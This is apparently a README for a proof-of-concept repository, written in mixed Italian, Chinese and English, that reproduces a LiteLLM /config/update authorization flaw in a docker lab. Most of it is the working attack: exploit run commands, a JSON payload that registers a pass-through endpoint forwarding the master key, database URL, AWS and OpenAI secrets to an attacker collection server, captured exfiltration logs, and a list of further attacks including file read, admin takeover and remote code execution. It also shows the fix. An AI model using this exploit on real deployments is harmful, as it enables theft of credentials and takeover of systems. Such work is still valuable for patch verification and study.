
Il codice per riprodurre personalmente la relativa vulnerabilità
/config/update vulnerabilità di accesso non autorizzato (Broken Access Control)LiteLLM's endpoint
/config/updatenon controlla i permessi di ruolo del chiamante. Qualsiasi utente autenticato con una chiave API valida (senza privilegi di amministratore) può modificare la configurazione del proxy, registrare endpoint Pass-Through malevoli per realizzare attacchi come furto di variabili d'ambiente, lettura arbitraria di file, esecuzione di codice remoto.
| Field | Value |
|---|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Affected | LiteLLM < 1.83.0 |
| Fixed | v1.83.0+ (aggiunto controllo del ruolo proxy_admin su /config/update) |
| Published | 2026-04-06 |
| Discovered by | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| Found | 2026-02-24 |
| Links | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
L'endpoint /config/update di LiteLLM dovrebbe essere chiamabile solo dal ruolo proxy_admin, ma prima della versione v1.83.0 non effettuava alcun controllo di ruolo. Qualsiasi utente con una chiave API valida può chiamare questo endpoint.
⚠️ Important: The
docker-compose.ymlpins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it tomain-v1.81.0-stableor any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
Attenzione: al primo avvio dei contenitori attendere circa 30-60 secondi (controllo salute di PostgreSQL + migrazione Prisma del database); eseguire l'exploit solo quando nel log del contenitore appare
Uvicorn running on http://0.0.0.0:4000.
Furto di variabili d'ambiente:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
Versione corretta nega l'accesso (con chiave non amministrativa restituisce 403):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
Nota: se si utilizza la Master Key (
sk-litellm-master-key) per testare la versione corretta, l'aggiornamento della configurazione restituirà comunque HTTP 200 (la Master Key ha il ruoloproxy_admin), ma la registrazione dell'endpoint Pass-Through potrebbe non avere effetto o essere ignorata silenziosamente. Si consiglia di utilizzare una chiave non amministrativa per verificare la correzione.
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ 攻击者 │ │ LiteLLM Proxy │ │ Exfiltration 服务 │
│ (低权限 Key) │ │ (< v1.83.0) │ │ (攻击者控制) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (含 DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. 读取 /logs 确认结果 │
│─────────────────────────────────────────────→│
│←─ [🔥] 窃取到 DATABASE_URL ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
La versione v1.83.0 ha aggiunto un controllo del ruolo proxy_admin nel gestore di /config/update:
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
... # 任何已认证用户均可调用
# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin") # ← 新增角色检查
async def update_config(request: Request):
...
Commit: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/updateDisclaimer: Questo contenuto è fornito a scopo educativo e per test di sicurezza autorizzati esclusivamente.
| Tipo di attacco | Descrizione |
|---|
| Furto di variabili d'ambiente | Registrare un endpoint Pass-Through e rubare DATABASE_URL, LITELLM_MASTER_KEY, ecc. tramite intestazioni che referenziano os.environ/VAR_NAME |
| Lettura arbitraria di file | Sfruttare la codifica Base64 delle intestazioni LANGFUSE_* per leggere file dal filesystem del server |
| Manipolazione della configurazione | Sovrascrivere UI_USERNAME, UI_PASSWORD per dirottare l'account amministratore |
| Esecuzione di codice remoto | Registrare un gestore di endpoint Pass-Through che punta a codice Python controllato dall'attaccante |